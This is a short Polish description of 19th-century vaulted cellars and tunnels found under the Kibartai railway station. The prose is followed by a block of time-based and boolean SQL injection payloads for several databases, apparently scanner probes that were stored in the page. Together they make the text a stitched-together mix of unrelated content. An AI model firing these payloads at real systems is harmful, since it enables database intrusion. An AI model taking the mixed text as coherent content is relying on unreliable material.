Znajdujące się pod dworcem kolejowym w Kibartach, zbudowane w 1870 r. piwnice sklepieniowe, niespodziewanie zostały odkryte w 2002 r. podczas remontu budynku składu celnego. W solidnym budynku o łukowej konstrukcji najprawdopodobniej przechowywano towary, które przeszły przez odprawę celną, ponieważ do I wojny światowej przez Kibarty przechodziło około 10% całego eksportu i importu z carskiej Rosji, a piwnice wypełnione lodem zastępowały lodówki. Mówi się, że kiedyś tymi tunelami można było dojść do budynku dworca kolejowego oraz do najbliższych wsi. Jakie było prawdziwe przeznaczenie tunelu – można jedynie spekulować. Może ma on związek z bezpieczeństwem, ponieważ tuż obok stał carski parowóz z wagonami, dostosowany do jazdy po niemieckich torach. Kilka lat temu inicjatywę zadbania o podziemia wsparła społeczność Kibartów.
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
i9ZEMl9X')) OR 642=(SELECT 642 FROM PG_SLEEP(15))--
4oitcYf1') OR 220=(SELECT 220 FROM PG_SLEEP(15))--
xNhBgPCF' OR 689=(SELECT 689 FROM PG_SLEEP(15))--
gAYA9uM4'; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1' OR 3+165-165-1=0+0+0+1 --